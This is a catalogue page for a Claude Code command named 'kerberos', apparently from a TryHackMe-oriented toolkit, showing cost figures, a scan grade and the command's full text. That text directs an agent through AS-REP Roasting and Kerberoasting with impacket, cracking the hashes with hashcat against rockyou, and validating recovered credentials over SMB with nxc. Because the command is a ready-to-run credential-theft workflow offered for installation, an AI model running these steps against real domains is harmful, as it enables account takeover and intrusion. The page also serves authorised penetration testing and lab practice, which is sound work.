kerberos

kerberos is a command for Claude Code from pashki975/thm-claude-kit. It costs 12 tokens per session (376 once invoked), scanned B, original, MIT.

A command for testing Kerberos, the authentication system commonly used by Windows domains. It checks for service accounts or users whose settings may allow password hashes to be requested and tested offline.

In plain words
What is it for?
Use it to perform AS-REP Roasting with a user list, Kerberoasting with valid domain credentials, crack the resulting hashes, and check recovered credentials against SMB.
Why use it?
It helps find weak account configurations and service-account passwords without repeatedly guessing passwords against the domain. It also highlights setup issues such as incorrect names or clocks that can make Kerberos fail.

Command for Claude Code

Written for Claude Code: $ARGUMENTS substitution.

Good fit Use it to perform AS-REP Roasting with a user list, Kerberoasting with valid domain credentials, crack the resulting hashes, and check recovered credentials against SMB.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/pashki975/thm-claude-kit/kerberos
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/pashki975/thm-claude-kit

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kerberos

README.md
[![agentmods](https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/kerberos.svg)](https://agentmods.dev/commands/pashki975/thm-claude-kit/kerberos)
Your own site
<a href="https://agentmods.dev/commands/pashki975/thm-claude-kit/kerberos"><img src="https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/kerberos.svg" alt="Measured on agentmods" height="20"></a>
Per session 12 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 376 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00012 $0.00376
Opus 5 $0.00006 $0.00188
Sonnet 5 $0.00002 $0.00075
Haiku 4.5 $0.00001 $0.00038

Measured 7d ago against content hash 5a7ab0d7b76a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade B, and why

kerberos scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

fails if the host clock differs from the DC by >5 min): `sudo ntpdate <DC-IP>` or
.claude/commands/kerberos.md · 29 lines

What it actually says

Run Kerberos attacks against domain target. Args: $ARGUMENTS Expected: [users.txt or user:pass]

Confirm we have the domain FQDN in /etc/hosts pointing at the DC first — Kerberos tooling is picky about name resolution. Also make sure clock skew is small (Kerberos fails if the host clock differs from the DC by >5 min): sudo ntpdate <DC-IP> or sudo rdate -n <DC-IP> if needed.

AS-REP Roasting (no creds needed — finds users with pre-auth disabled)

  • With a user list: impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC-IP> -format hashcat -outputfile scans/asrep.txt
  • Crack with hashcat mode 18200: hashcat -m 18200 scans/asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (needs any valid domain creds — finds service accounts)

  • impacket-GetUserSPNs <DOMAIN>/<user>:<pass> -dc-ip <DC-IP> -request -outputfile scans/kerberoast.txt
  • Crack with hashcat mode 13100: hashcat -m 13100 scans/kerberoast.txt /usr/share/wordlists/rockyou.txt

After cracking

Record any recovered creds in notes.md and validate them: nxc smb <DC-IP> -u <user> -p <pass> (look for [+] and any Pwn3d! marker)

Explain each result plainly — which account, what it grants, what to try next.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 29 lines · 12 tokens per session scan B 5a7ab0d7b76a

Subscribe to this mod's changes

kerberos is a command published in the GitHub repository pashki975/thm-claude-kit (2 stars, last pushed 23d ago), licensed MIT. It adds 12 tokens to every session and 376 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.